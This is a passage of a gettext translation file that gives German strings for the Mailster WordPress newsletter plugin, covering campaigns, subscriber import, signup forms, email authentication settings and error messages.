msgid "Full Name"
msgstr "Ganzer Name"

#: views/settings/delivery.php:66
msgid "Pause campaigns"
msgstr "Kampagne pausieren"

#: views/settings/general.php:130
msgid "The Google API key is used to display Maps for Mailster on the back end."
msgstr "Der Google API Schlüssel wird zum Anzeigen der Karten im Adminbereich benötigt."

#: includes/capability.php:176
msgid "access dashboard"
msgstr "Dashboardzugang"

#: views/settings/authentication.php:75
msgid "Changing namespace entries can take up to 48 hours to take affect around the world."
msgstr "Änderungen der Namespace Einträge kann bis zu 48 Stunden dauern um auf der ganzen Welt verfügbar zu sein"

#: classes/template.class.php:444
msgctxt "common module name"
msgid "Full Size Image"
msgstr "Vollbild"

#: classes/campaigns.class.php:223 classes/campaigns.class.php:225
#: classes/campaigns.class.php:680
msgid "Paused"
msgstr "Pausiert"

#: cron.php:136 cron.php:136
msgid "The Secret is missing or wrong!"
msgstr "Die geheime Zeichenfolge fehlt oder ist falsch!"

#: classes/campaigns.class.php:867
msgid "activate"
msgstr "aktivieren"

#: views/settings/general.php:78 views/manage.php:252
msgid "CharSet"
msgstr "CharSet"

#: classes/template.class.php:448
msgctxt "common module name"
msgid "Full Size Text Invert"
msgstr "invertierter Text für Vollbild"

#: views/settings/frontend.php:91
msgid "Permalink Structure"
msgstr "Permalinks"

#: views/templates/available-template.php:116
msgid "activate on Envato"
msgstr "auf Envato aktivieren"

#: views/settings/bounce.php:54
msgid "Check bounce server every %s minutes for new messages"
msgstr "Überprüfe den Bounceserver alle %s Minuten auf neue Nachrichten"

#: views/settings.php:34
msgid "General"
msgstr "Allgemein"

#: classes/tinymce.class.php:127 views/settings/tags.php:7
msgid "Permanent Tags"
msgstr "Permanente Tags"

#: views/settings/general.php:12 views/setup.php:110
msgid "The address users can reply to"
msgstr "Die Adresse an die geantwortet wird"

#: classes/mailster.class.php:1370
msgid "Check for languages"
msgstr "Überprüfen der Sprache"

#: classes/campaigns.class.php:1444
msgid "Generating the screenshot may take a while. Please reload the page to update"
msgstr "Den Screenshot zu erstellen kann eine Zeit dauern. Bitte die Seite neu laden um zu aktualisieren."

#: classes/template.class.php:454
msgctxt "common module name"
msgid "Plans"
msgstr "Tabelle"

#: classes/settings.class.php:1149
msgid "The caching time for tweets must be at least %d minutes"
msgstr "Die Cachezeit für Tweets muss mindestens %d Minuten dauern"

#: classes/update.class.php:228 classes/register.class.php:138
msgid "activate your copy"
msgstr "aktiviere deine Lizenz"

#: views/dashboard/mb-campaigns.php:45
msgid "Check out existing Campaigns"
msgstr "Vorhandene Kampagnen ansehen"

#: views/newsletter/details.php:187
msgid "Geo Location"
msgstr "Orte"

#: views/dashboard/mb-mailster.php:15
msgid "Please Validate"
msgstr "Bitte Verifizieren"

#: classes/forms.class.php:245
msgid "The changes you made will be lost if you navigate away from this page."
msgstr "Änderungen werden verworfen wenn die Seite verlassen wird"

#: classes/campaigns.class.php:731 views/settings/delivery.php:27
#: views/settings/frontend.php:191
msgid "active"
msgstr "aktiv"

#: views/setup.php:478
msgid "Check out the templates"
msgstr "Schau dir die Templates an"

#: views/settings/privacy.php:22
msgid "Geolocation is not available on localhost!"
msgstr "Geodaten sind lokal nicht verfügbar!"

#: classes/templates.class.php:362 classes/ajax.class.php:1834
msgid "Please add following lines to the wp-config.php %s"
msgstr "Bitte folgende Zeiken zu deiner wp-config.php hinzufügen %s"

#: classes/settings.class.php:382 views/settings/tags.php:34
#: views/settings/wordpress-users.php:48 views/settings/subscribers.php:129
#: views/settings/template.php:55
msgid "add"
msgstr "hinzufügen"

#: classes/mailster.class.php:1278
msgid "Check the JS console for more info!"
msgstr "Kontrolliere die Browserkonsole for mehr infos"

#: views/templates/available-template.php:127
msgid "Get this Template"
msgstr "Hol dir dieses Template"

#: classes/settings.class.php:862
msgid "Please change the slug or permalink of %s since it's used by the archive page"
msgstr "Bitte den Permalink von %s ändern da er von der Archivseite verwendet wird"

#: classes/templates.class.php:131
msgid "The content folder is not writeable"
msgstr "Ein Verzeichnis ist nicht schreibbar"

#: classes/campaigns.class.php:1356
msgid "Add %s"
msgstr "%s hinzufügen"

#: classes/subscribers.class.php:348
msgid "Check the browser console for more info!"
msgstr "Überprüfe die Browserkonsole für mehr Info!"

#: views/settings/general.php:131
msgid "Get your Google API Key."
msgstr "Google API Schlüssel."

#: classes/settings.class.php:1373 classes/settings.class.php:1380
msgid "The data does't look like valid settings!"
msgstr "Die Daten schauen nicht nach korrekten Einstellungen aus!"

#: classes/campaigns.class.php:1353
msgid "Add button"
msgstr "Schaltfläche hinzufügen"

#: classes/ajax.class.php:754
msgid "Check your console for more info."
msgstr "Kontrolliere die Browserkonsole for mehr infos"

#: views/forms/detail.php:199
msgid "Global"
msgstr "Global"

#: classes/forms.class.php:638
msgid "Please confirm"
msgstr "Bitte bestätigen"

#: views/settings/general.php:16
msgid "The default delay in minutes for sending campaigns."
msgstr "Kampagnen werden standardmäßig mit dieser Verzögerung in Minuten gestartet"

#: views/conditions/conditions.php:38 views/conditions/conditions.php:366
msgid "Add Condition"
msgstr "Bedingung hinzufügen"

#: classes/settings.class.php:390 views/settings/subscribers.php:79
msgid "Checkbox"
msgstr "Checkbox"

#: classes/forms.class.php:639
msgid "Please confirm your Email Address"
msgstr "Bitte bestätige deine E-Mail-Adresse"

#: views/settings/authentication.php:46
msgid "The domain you have set the TXT namespace records"
msgstr "Die Domain, bei der du die TXT Einträge angelegt hast"

#: classes/manage.class.php:427
msgid "Add contacts to following lists"
msgstr "Kontakte zu folgenden Listen hinzufügen"

#: classes/lists.table.class.php:105
msgid "Child of %s"
msgstr "Kind von %s"

#: classes/campaigns.class.php:531 classes/form.class.php:1233
#: classes/form.class.php:1242
msgid "Go back"
msgstr "Zurück"

#: classes/settings.class.php:236
msgid "Please confirm your subscription!"
msgstr "Bitte bestätigen Sie Ihre Anmeldung!"

#: views/settings/authentication.php:12
msgid "The domain you would like to add a SPF record"
msgstr "Die Domain, der du einen SPF Eintrag hinzufügen willst"

#: views/forms/detail.php:265
msgid "Add custom CSS to your form"
msgstr "Füge eine eigene CSS zu deinem Formular"

#: views/settings/frontend.php:19 views/newsletter/delivery.php:498
msgid "Choose"
msgstr "wählen"

#: views/settings/general.php:126
msgid "Google API Key"
msgstr "Google API Schlüssel"

#: classes/settings.class.php:829
msgid "Please define a homepage for the newsletter on the %s tab!"
msgstr "Bitte bestimme die Newsletter Homepage in den %s - einstellungen! "

#: classes/manage.class.php:758
msgid "The following addresses were not imported"
msgstr "Folgende Adressen wurden nicht importiert"

#: classes/settings.class.php:395 views/settings/subscribers.php:112
msgid "add field"
msgstr "Feld hinzufügen"

#: views/setup.php:247
msgid "Choose how Mailster should send your campaigns. It's recommend to go with a dedicate ESP to prevent rejections and server blocking."
msgstr "Bestimme wie Mailster deine Kampagnen versenden soll. Es wird empfohlene einen dedizierten Provider zu verwenden um nicht geblockt zu werden."

#: classes/campaigns.class.php:1382
msgid "Great! Your campaign is ready to send!"
msgstr "Super! Deine Kampagne ist fertig zum Versand!"

#: classes/frontpage.class.php:99
msgid "Please do not use %1$s in %2$s as page slug as it conflicts with Mailster form submission!"
msgstr "Bitte verwende nicht %1$s in %2$s als Slug da es einen Konflikt mit der Anmeldung von Benutzern über Mailster verursacht!"

#: classes/templates.class.php:249
msgid "The header of this template files is missing or corrupt"
msgstr "Der Kopfbereich diese Templates ist nicht vorhanden oder ungültig"

#: classes/widget.class.php:41
msgid "add form"
msgstr "Formular hinzufügen"

#: views/setup.php:465
msgid "Great, you're done!"
msgstr "Geschafft!"

#: views/settings/authentication.php:52
msgid "The selector is used to identify the keys used to attach a token to the email"
msgstr "Der Selector wird zum identifizieren der Schlüssel, die den Mails angehängt werden, verwendet "

#: includes/capability.php:92
msgid "add forms"
msgstr "Formular hinzufügen"

#: classes/campaigns.class.php:3718
msgid "Click Count"
msgstr "Klicks"

#: views/manage.php:239
msgid "HTML"
msgstr "HTML"

#: classes/templates.class.php:562
msgid "Please enter the name of the new template"
msgstr "Bitte gib den Namen des neuen Templates an"

#: views/settings/general.php:8 views/setup.php:106
msgid "The sender email address. Force your receivers to whitelabel this email address."
msgstr "Die Absenderadresse. Fordere deine Empfänger auf, diese Adresse in ihr Adressbuch zu speichern"

#: includes/capability.php:128
msgid "add lists"
msgstr "Listen erstellen"

#: classes/forms.class.php:641
msgid "Click here to confirm"
msgstr "Hier klicken um zu bestätigen"

#: classes/forms.class.php:1508
msgid "HTML Version"
msgstr "HTML Version"

#: classes/ajax.class.php:2496
msgid "Please enter your Purchase Code!"
msgstr "Gib bitte deinen Lizenzcode an!"

#: views/settings/general.php:4 views/setup.php:102
msgid "The sender name which is displayed in the from field"
msgstr "Der Name, wie er beim Empfänger angezeigt wird"

#: views/forms/detail.php:159
msgid "Add more custom fields on the %s."
msgstr "Füge weitere Felder auf der %s hinzu."

#: classes/campaigns.class.php:1351 views/newsletter/template.php:71
msgid "Click to add %s"
msgstr "Klicken um %s hinzuzufügen"

#: views/lists/detail.php:171 views/subscribers/detail.php:467
msgid "Hard bounce"
msgstr "Hardbounce"

#: classes/placeholder.class.php:1328
msgid "Please enter your Twitter application credentials on the settings page"
msgstr "Bitte gib die Daten deiner Twitter Applikation auf der Einstellungsseite ein"

#: classes/campaigns.class.php:1385
msgid "The status of this campaign has changed. Please reload the page or %s"
msgstr "Der Status der Kamapgne hat sich geändert. Bitte die Seite neu laden oder %s"

#: views/newsletter/delivery.php:415
msgid "add new fields"
msgstr "neue Felder hinzufügen"

#: classes/campaigns.class.php:1350
msgid "Click to edit %s"
msgstr "Klicken um %s zu bearbeiten"

#: classes/subscribers.class.php:2942
msgid "Hard bounced at %s"
msgstr "Hardbounced am %s"

#: classes/settings.class.php:256
msgid "Please enter your email address"
msgstr "Bitte deine E-Mailaddresse eingeben"

#: views/forms/detail.php:389
msgid "The text new subscribers get when Double-Opt-In is selected. Use %s for the link placeholder. Basic HTML is allowed"
msgstr "Die Nachricht die neue Abonnenten erhalten, wenn Double-Opt-In aktiviert ist. Verwende %s als Platzhalter für den Link. Einfaches HTML ist erlaubt."

#: classes/manage.class.php:436
msgid "Add new list"
msgstr "Neue Liste erstellen"

#: classes/campaigns.class.php:274
msgid "Clickmap"
msgstr "Clickmap"

#: classes/conditions.class.php:101 classes/manage.class.php:947
#: views/manage.php:310
msgid "Hash"
msgstr "Hash"

#: classes/ajax.class.php:1623
msgid "Please fill out all fields correctly!"
msgstr "Bitte füllen Sie alle Felder korrekt aus!"

#: views/subscribers/detail.php:87
msgid "The user rating is based on different factors like open rate, click rate and bounces"
msgstr "Die Benutzerbewertung basiert auf verschiedenen Faktoren wie Öffnungs-,Klick- und Bounce Rate"

#: views/settings/wordpress-users.php:141
msgid "Add people who are added via the backend or any third party plugin"
msgstr "Füge Benutzer hinzu, die über das Backend oder über ein anderes Plugin hinzugefügt worden sind"

#: classes/campaigns.class.php:560 views/newsletter/template.php:30
msgid "Clicks"
msgstr "Klicks"

#: views/forms/detail.php:381
msgid "Headline"
msgstr "Überschrift"

#: classes/export.class.php:52 classes/mailster.class.php:2913
msgid "Please make sure all your campaigns are imported correctly!"
msgstr "Bitte stelle sicher, dass alle Kampagnen korrekt importiert wurden!"

#: classes/settings.class.php:1390
msgid "The version number of the import does not match!"
msgstr "Die Versionsnummer vom Import stimmt nicht mit der aktuellen überein!"

#: includes/capability.php:77
msgid "add subscribers"
msgstr "Abonnenten hinzufügen"

#: classes/mailster.class.php:1794
msgid "Code in use!"
msgstr "Code in Verwendung!"

#: classes/register.class.php:138
msgid "Hey! Would you like automatic updates and premium support? Please %s of Mailster"
msgstr "Hallo! Willst du automatische Updates und Premium Support? Bitte %s von Mailster"

#: classes/templates.class.php:1413 classes/manage.class.php:1370
msgid "The web browser on your device cannot be used to upload files. You may be able to use the <a href=\"http://wordpress.org/extend/mobile/\">native app for your device</a> instead."
msgstr "Der Browser auf deinem Endgerät kann leider keine Dateien hochladen. Nutze für den Bilderupload die <a href=\"http://wordpress.org/extend/mobile/\">WordPress App für dein mobiles Endgerät</a>."

#: classes/subscribers.table.class.php:324
msgid "add to list"
msgstr "zur Liste hinzufügen"

#: classes/campaigns.class.php:1347
msgid "Codeview"
msgstr "Codeansicht"

#: views/newsletter/delivery.php:513
msgid "High"
msgstr "Hoch"

#: classes/manage.class.php:426
msgid "Please make sure you have the permission to import these contacts!"
msgstr "Bitte stelle sicher, dass du die Berechtigung, um diese Kontakte zu importieren, hast!"

#: views/setup.php:48
msgid "The wizard is separated into %d different steps:"
msgstr "Dieser Assistent ist in %d Schritten unterteilt:"

#: views/subscribers/detail.php:379
msgid "adjusted click rate"
msgstr "angepasste Klickrate"

#: views/newsletter/options.php:21
msgid "Colors"
msgstr "Farben"

#: views/settings/template.php:59
msgid "High DPI"
msgstr "High DPI"

#: views/setup.php:97
msgid "Please provide some basic information which is used for your newsletter campaigns. Mailster already pre-filled the fields with the default values but you should check them for correctness."
msgstr "Gib hier die Basisinformationen an, die für deine Kampagnen verwendet werden. Mailster hat die Felder bereits mit den Standardwerten ausgefüllt aber du solltest sie auf Korrektheit überprüfen."

#: classes/frontpage.class.php:649
msgid "There is no content for this newsletter."
msgstr "Kein Inhalt für diesen Newsletter gefunden."

#: classes/campaigns.class.php:820 classes/campaigns.class.php:845
#: classes/campaigns.class.php:857 views/newsletter/delivery.php:141
#: views/newsletter/delivery.php:144 views/newsletter/delivery.php:167
msgid "after"
msgstr "nachdem"

#: views/newsletter/options.php:108
msgid "Colors Schema"
msgstr "Farbschema"

#: views/newsletter/editbar.php:339
msgid "HighDPI/Retina ready"
msgstr "HighDPI/Retina ready"

#: classes/manage.class.php:60
msgid "Please select at least the column with the email addresses!"
msgstr "Bitte zumindest die Spalte mit den E-Mail-Adressen auswählen!"

#: classes/manage.class.php:68
msgid "There was a problem during importing contacts. Please check the error logs for more information!"
msgstr "Ein Fehler ist beim Importieren aufgetreten. Bitte überprüfe das Fehlerprotokoll für mehr Informationen!"

#: classes/manage.class.php:344
msgid "all IP Addresses"
msgstr "alle IP Adressen"

#: views/newsletter/options.php:63
msgid "Colors Schemas"
msgstr "Farbschemas"

#: views/setup.php:25 views/setup.php:147
msgid "Homepage"
msgstr "Homepage"

#: classes/manage.class.php:59
msgid "Please select the status for the importing contacts!"
msgstr "Bitte den Status für die zu importierenden Kontakte wählen!"

#: classes/settings.class.php:316
msgid "There was a problem in your Mailster settings which has been automatically fixed! Either way it's good to check %s if everything is in place."
msgstr "Es gab ein Problem mit deinen Mailster Einstellungen das automatisch behoben wurde. Es ist trotzdem ratsam die %s zu überprüfen ob alles korrekt ist."

#: classes/manage.class.php:1431
msgid "Comma-separated values (CSV)"
msgstr "CSV Datei"

#: classes/settings.class.php:34
msgid "Homepage already created!"
msgstr "Homepage wurde bereits erstellt!"

#: classes/lists.class.php:155
msgid "Please selected at least two lists!"
msgstr "Bitte mindestens zwei Listen auswählen!"

#: views/templates.php:19
msgid "There was a problem loading the templates"
msgstr "Ein Problem beim Laden der Templates"

#: views/settings/wordpress-users.php:93
msgid "Allow %s to your blog to enable this option"
msgstr "Erlaube %s um diese Funktion zu aktivieren"

#: classes/subscribers.class.php:801
msgid "Comment"
msgstr "Kommetar"

#: classes/settings.class.php:43
msgid "Homepage created!"
msgstr "Homepage erstellt"

#: classes/helper.class.php:323
msgid "Plugin Install"
msgstr "Plugin Installation"

#: classes/templates.class.php:305
msgid "There was a problem progressing the file"
msgstr "Ein Problem beim verarbeiten der Datei ist aufgetreten"

#: classes/settings.class.php:1622
msgid "allow self signed certificates"
msgstr "erlaube selbst verifizierte Zertifikate"

#: views/setup.php:139
msgid "Company"
msgstr "Firma"

#: classes/subscribers.class.php:793
msgid "Homepage on %s"
msgstr "Homepage am %s"

#: classes/forms.class.php:1451
msgid "Popup width"
msgstr "Popup Breite"

#: classes/forms.class.php:372
msgid "There was an error while adding the form: %s"
msgstr "Ein Fehler ist beim Hinzufügen des Formulars aufgetreten: %s"

#: views/settings/wordpress-users.php:115
msgid "Allow users to signup on the comment form if they are currently not subscribed to any list"
msgstr "Erlaube Benutzer sich beim Kommentarformular anzumelden, falls Sie zur Zeit in noch in keiner Liste sind"

#: classes/register.class.php:78
msgid "Complete Registration"
msgstr "Registrierung abschließen"

#: views/settings/frontend.php:112
msgid "Homepage slugs"
msgstr "Homepage Slugs"

#: views/settings/general.php:34
msgid "Post List Count"
msgstr "Anzahl Listeneinträge"

#: classes/forms.class.php:314 classes/forms.class.php:451
msgid "There was an error while deleting forms: %s"
msgstr "Ein Fehler ist beim löschen des Formulars aufgetreten: %s"

#: views/forms/detail.php:322
msgid "Allow users to update their data with this form"
msgstr "Erlaube Benutzer ihre Daten mit diesem Formular zu aktualisieren"

#: views/setup.php:474
msgid "Complete your settings"
msgstr "Vervollständige deine Einstellungen"

#: views/newsletter/delivery.php:485
msgid "Action used to trigger campaign"
msgstr "Action Hook, der die Kampagne starten soll"

#: classes/widget.class.php:369 classes/widget.class.php:525
msgid "Postfix"
msgstr "Postfix"

#: classes/subscribers.class.php:483
msgid "There was an error while deleting subscribers!"
msgstr "Ein Fehler ist beim Löschen aufgetreten!"

#: views/settings/texts.php:50
msgid "Already registered"
msgstr "Bereits registriert"

#: classes/conditions.class.php:107 views/newsletter/submit.php:122
msgid "Confirm"
msgstr "Bestätigt"

#: views/forms/detail.php:222
msgid "Hover Color"
msgstr "Farbe (hover)"

#: classes/widget.class.php:367 classes/widget.class.php:523
msgid "Prefix"
msgstr "Prefix"

#: classes/campaigns.class.php:1086 classes/subscribers.class.php:231
msgid "There was an error while deleting subscribers: %s"
msgstr "Ein Fehler ist beim Löschen der Abonnenten aufgetreten: %s"

#: views/newsletter/delivery.php:217
msgid "always skip %s release"
msgid_plural "always skip %s releases"
msgstr[0] "immer %s Ausgabe überspringen"
msgstr[1] "immer %s Ausgaben überspringen"

#: classes/manage.class.php:343
msgid "Confirm + Signup IP Address"
msgstr "Bestätigung- + Anmelde-IP Adresse"

#: views/forms/detail.php:223
msgid "Hover Text Color"
msgstr "Textfarbe (hover)"

#: classes/tinymce.class.php:109 views/newsletter/details.php:27
#: views/newsletter/details.php:30 views/newsletter/details.php:87
msgid "Preheader"
msgstr "Preheader"

#: classes/manage.class.php:73
msgid "There was an error while exporting"
msgstr "Ein Fehler ist beim Exportieren aufgetreten"

#: classes/campaigns.class.php:3798
msgid "an error occurred while sending to this receiver"
msgstr "ein Fehler ist aufgetreten beim Versenden zu diesem Empfänger"

#: classes/manage.class.php:336 classes/manage.class.php:965
#: views/manage.php:317
msgid "Confirm Date"
msgstr "Bestätigungsdatum"

#: views/setup.php:60
msgid "How Mailster should delivery you campaigns."
msgstr "Bestimme wie Mailster deine Kampagnen versenden soll."

#: classes/register.class.php:14 classes/mailster.class.php:1808
msgid "There was an error while processing your request!"
msgstr "Ein Fehler ist während der Bearbeitung aufgetreten! "

#: classes/subscribers.class.php:788
msgid "an extern form on %s"
msgstr "ein externes Formular on %s"

#: classes/manage.class.php:968 views/manage.php:318
msgid "Confirm IP"
msgstr "Bestätigungs IP"

#: classes/conditions.class.php:100 classes/campaigns.class.php:3709
#: classes/manage.class.php:936 views/manage.php:295
msgid "ID"
msgstr "ID"

#: classes/widget.class.php:383 classes/forms.table.class.php:182
#: classes/campaigns.class.php:1361 views/templates/installed-template.php:27
msgid "Preview"
msgstr "Vorschau"

#: classes/forms.class.php:392
msgid "There was an error while updating the form: %s"
msgstr "Ein Fehler ist beim Aktualisieren des Formulars  aufgetreten: %s"

#: classes/manage.class.php:342
msgid "Confirm IP Address"
msgstr "IP Adresse b. Bestätigen"

#: classes/manage.class.php:340 classes/manage.class.php:956
msgid "IP Address"
msgstr "IP Adresse"

#: classes/campaigns.class.php:537
msgid "Preview Newsletter"
msgstr "Vorschau Newsletter"

#: classes/templates.class.php:692 classes/templates.class.php:701
msgid "There was an error: %s"
msgstr "Ein Fehler ist aufgetreten: %s"

#: classes/helper.class.php:662 classes/conditions.class.php:418
#: views/settings/delivery.php:36 views/settings/general.php:67
#: views/conditions/conditions.php:37 views/conditions/render.php:6
msgid "and"
msgstr "und"

#: views/settings/frontend.php:115
msgid "Confirm Slug"
msgstr "Bestätigung"

#: classes/manage.class.php:386
msgid "IP Options"
msgstr "IP Optionen"

#: classes/forms.class.php:1470
msgid "Preview and Code"
msgstr "Vorschau und Code"

#: views/settings/tags.php:9
msgid "These are permanent tags which cannot get deleted. The CAN-SPAM tag is required in many countries."
msgstr "Diese permanenten Tags können nicht gelöscht werden. Der CAN-SPAM Tag is verpflichtend in vielen Ländern"

#: views/subscribers/detail.php:421
msgid "and %1$s to click a link"
msgstr "und %1$s um einen Link zu klicken"

#: classes/tinymce.class.php:183
msgid "Confirm Text"
msgstr "Bestätigungstext"

#: views/settings/advanced.php:14
msgid "If enabled Mailster doesn't use cache anymore. This causes an increase in page load time! This option is not recommended!"
msgstr "Wenn aktiv wir Mailster keinen Cache mehr verwenden. Dies wird die Ladezeit erhöhen und ist deshalb nicht empfohlen!"

#: classes/campaigns.class.php:1360
msgid "Preview for %s"
msgstr "Vorschau für %s"

#: classes/campaigns.class.php:499
msgid "This Campaign has been paused"
msgstr "Die Kampagne wurde pausiert"

#: classes/subscribers.class.php:1526 views/settings/texts.php:11
msgid "Confirmation"
msgstr "Bestätigung"

#: views/settings/privacy.php:49
msgid "If enabled Mailster will respect users option for not getting tracked. Read more on the %s"
msgstr "Wenn diese Option aktiviert ist respektiert Mailster die Einstellung um nicht getrackt zu werden. Lese mehr darüber %s"

#: views/newsletter/delivery.php:511
msgid "Priority"
msgstr "Priorität"

#: classes/campaigns.class.php:493
msgid "This Campaign is currently in the queue"
msgstr "Diese Kampagne ist zurzeit in der Warteschlange"

#: classes/helper.class.php:652
msgid "any %s"
msgstr "irgendein(e) %s"

#: classes/notification.class.php:600
msgid "Confirmation Message"
msgstr "Bestätigungsnachricht "

#: views/settings/authentication.php:77
msgid "If you change one of the settings above new keys are required"
msgstr "Falls du einer der oberen Einstellungen änderst müssen neue Schlüssel generiert werden"

#: views/settings/authentication.php:113
msgid "Private keys should be kept private. Don't share them or post it somewhere"
msgstr "Private Schlüssel sollen auch private bleiben. Teile sie mit keinem"

#: classes/campaigns.class.php:496
msgid "This Campaign is currently progressing"
msgstr "Die Kampagne wird zurzeit versendet"

#: views/settings/wordpress-users.php:127
msgid "approved"
msgstr "genehmigt"

#: views/forms/detail.php:371
msgid "Confirmation Settings"
msgstr "Bestätigungseintellungen"

#: views/settings/privacy.php:19
msgid "If you don't find your country down below the geo database is missing or corrupt"
msgstr "Falls du dein Land hier nicht findest, fehlt die GEO Datenbank oder ist beschädigt"

#: classes/forms.class.php:1357 views/forms/detail.php:327
#: views/subscribers/user_edit.php:6
msgid "Profile"
msgstr "Profil"

#: classes/campaigns.class.php:490
msgid "This Campaign was sent on %s"
msgstr "Diese Kampagne wurde am %s versendet"

#: views/forms/detail.php:357
msgid "Assign new lists automatically to this form"
msgstr "Neue Listen automatisch dieser Form zuweisen"

#: classes/subscribers.class.php:499
msgid "Confirmation has been sent"
msgstr "Bestätigung wurde gesendet"

#: views/settings/authentication.php:73
msgid "If you have defined the domain and a selector you have to generate a public and a private key. Once created you have to add some TXT namespace records at your mail provider"
msgstr "Wenn du eine Domain und den Selector bestimmt hast must du einen privaten und einen öffentlichen Schlüssel generieren. Danach musst du die entsprechenden Namespace Einträge bei deinem Mailprovider anpassen"

#: views/settings/texts.php:30
msgid "Profile Button"
msgstr "Profile Button"

#: views/newsletter/attachment.php:63
msgid "This campaign doesn't have any attachment."
msgstr "Diese Kampagne hat keine Anhänge."

#: classes/campaigns.class.php:887
msgid "assigned lists"
msgstr "zugeordnete Listen"

#: classes/subscribers.class.php:269
msgid "Confirmations sent to %d pending subscribers"
msgstr "Bestätigungen wurden an %d ausstehende Abonnenten gesendet"

#: views/settings/cron.php:51
msgid "If you need help setting up a cron job please refer to the documentation that your provider offers."
msgstr "Falls du Hilfe mit Cronjobs benötigst kontaktiere bitte deinen Provider"

#: classes/tinymce.class.php:86 views/settings/texts.php:42
msgid "Profile Link"
msgstr "Profil Link"

#: includes/autoresponder.php:28
msgid "at a specific time"
msgstr "zu einem bestimmten Zeitpunkt"

#: views/settings/tags.php:48
msgid "Consumer key"
msgstr "Consumer key"

#: classes/settings.class.php:154
msgid "If you received this email by mistake, simply delete it. You won't be subscribed if you don't click the confirmation link"
msgstr "Falls Sie diese E-Mail unangekündigt erhalten haben, könne Sie diese einfach löschen. Sie werden nicht registriert falls Sie den Bestätigungslink nicht anklicken"

#: views/settings/frontend.php:145
msgid "Profile Slug"
msgstr "Profil"

#: views/newsletter/delivery.php:560
msgid "This campaign has been started on %1$s, %2$s ago"
msgstr "Die Kampagne wurde am %1$s gestartet, vor %2$s"

#: views/forms/detail.php:406
msgid "Attach vCard to all confirmation mails"
msgstr "Eine vCard an alle Bestätigungsmails anhängen"

#: views/settings/tags.php:49
msgid "Consumer secret"
msgstr "Consumer secret"

#: views/settings/bounce.php:19
msgid "If you would like to enable bouncing you have to setup a separate mail account"
msgstr "Wenn du Bouncing verwenden möchtest brauchst du einen separates E-Mailkonto"

#: views/settings/texts.php:16
msgid "Profile Update"
msgstr "Profil Update"

#: views/newsletter/delivery.php:607
msgid "This campaign is based on an %s"
msgstr "Diese Kampagne basiert auf eine %s"

#: views/newsletter/delivery.php:608
msgid "auto responder campaign"
msgstr "Autoresponder Kampagne"

#: classes/manage.class.php:360
msgid "Ignore column"
msgstr "Spalte auslassen"

#: classes/upgrade.class.php:1730
msgid "Profile Updated!"
msgstr "Profile aktualisiert!"

#: classes/campaigns.class.php:695 classes/campaigns.class.php:712
msgid "This campaign is based on subscribers timezone and probably will take up to 24 hours"
msgstr "Diese Kampagne basiert auf die Zeitzonen der Abonnenten und kann bis zu 24 Stunden dauern"

#: views/settings/general.php:53
msgid "auto updates are recommended for important fixes."
msgstr "Automatische Updates werden wegen wichtigen Bugfixes empfohlen"

#: views/manage.php:55
msgid "Copy and paste from your spreadsheet app"
msgstr "Kopiere und füge von deinem Tabellenkalkulationprogramm ein"

#: views/newsletter/editbar.php:81
msgid "Image Button"
msgstr "Bild Button"

#: classes/settings.class.php:242
msgid "Profile updated!"
msgstr "Profile aktualisiert!"

#: views/templates/installed-template.php:88
msgid "This file is not writeable! Please change the file permission"
msgstr "Diese Datei ist nicht beschreibbar! Bitte ändere die Dateirechte"

#: views/forms/detail.php:302 views/forms/detail.php:427
msgid "Back to Design"
msgstr "Zurück zum Design"

#: views/setup.php:143
msgid "Copyright"
msgstr "Copyright"

#: views/settings/tags.php:75
msgid "Image Fallback"
msgstr "Alternative für Bilder"

#: classes/upgrade.class.php:43
msgid "Progress Update now"
msgstr "Update jetzt durchführern"

#: views/forms/detail.php:11
msgid "This form does not exist or has been deleted!"
msgstr "Dieses Formular gibt es nicht oder wurde gelöscht!"

#: views/forms/detail.php:174 views/forms/detail.php:296
msgid "Back to Fields"
msgstr "Zurück zu den Feldern"

#: classes/ajax.class.php:2142
msgid "Couldn't create List"
msgstr "Konnte Liste nicht erstellen!"

#: views/newsletter/editbar.php:196
msgid "Image URL"
msgstr "Bild URL"

#: views/newsletter/submit.php:81 views/newsletter/submit.php:114
#: views/newsletter/submit.php:120
msgid "Publish"
msgstr "Veröffentlichen"

#: classes/forms.table.class.php:113
msgid "This form is used for user profile updates"
msgstr "Dieses Formular wird für Profile verwendet"

#: classes/ajax.class.php:1026
msgid "back to world view"
msgstr "zurück zur Weltkarte"

#: classes/campaigns.class.php:4788
msgid "Image files"
msgstr "Bilddateien"

#: classes/template.class.php:461
msgctxt "common module name"
msgid "Image on the Left"
msgstr "Bild links"

#: classes/campaigns.class.php:241 classes/campaigns.class.php:243
msgid "Queued"
msgstr "Warteschlange"

#: classes/notification.class.php:269
msgid "This is a test mail sent from %s"
msgstr "Das ist eine Test E-Mail, gesendet %s"

#: views/newsletter/optionbar.php:107
msgid "based on %1$s from %2$s"
msgstr "basierend auf %1$s von %2$s "

#: classes/ajax.class.php:2480
msgid "Couldn't load language file. Please try again later."
msgstr "Konnte die Sprachdatei nicht laden. Bitte später erneut probieren."

#: classes/template.class.php:462
msgctxt "common module name"
msgid "Image on the Right"
msgstr "Bild rechts"

#: classes/dashboard.class.php:144
msgid "Quick Links"
msgstr "Links"

#: classes/forms.class.php:140
msgid "This is an error message"
msgstr "Das ist eine Fehlermeldung"

#: classes/campaigns.class.php:830
msgid "based on the users %1$s value"
msgstr "basierend auf den %1$s des Abonnenten"

#: classes/ajax.class.php:750
msgid "Couldn't send message. Check your settings!"
msgstr "Konnte Nachricht nicht senden. Überprüfe deine Einstellungen!"

#: views/settings/manage-settings.php:13 views/manage.php:21
#: views/dashboard/mb-subscribers.php:26 views/dashboard/mb-quicklinks.php:31
#: views/subscribers/overview.php:15
msgid "Import"
msgstr "Import"

#: classes/template.class.php:451
msgctxt "common module name"
msgid "Quotation"
msgstr "Zitat"

#: classes/templates.class.php:269
msgid "This is not a valid Mailster template ZIP"
msgstr "Das ist kein gültiges Mailster Template ZIP"

#: classes/campaigns.class.php:820 views/newsletter/delivery.php:142
#: views/newsletter/delivery.php:145
msgid "before"
msgstr "bevor"

#: classes/tinymce.class.php:194 classes/forms.class.php:1462
#: classes/widget.class.php:551
msgid "Count above Button"
msgstr "Zähler über Button"

#: classes/manage.class.php:426
msgid "Import %s contacts"
msgstr "Importiere %s Kontakte"

#: classes/template.class.php:452
msgctxt "common module name"
msgid "Quotation left"
msgstr "Zitat links"

#: views/setup.php:56
msgid "This is where your subscribers signup, manage or cancel their subscriptions."
msgstr "Die Seite, bei der sich deine Abonnenten an- und abmelden können und ihr Abonnement verwalten."

#: classes/conditions.class.php:176 classes/conditions.class.php:204
#: views/newsletter/editbar.php:28
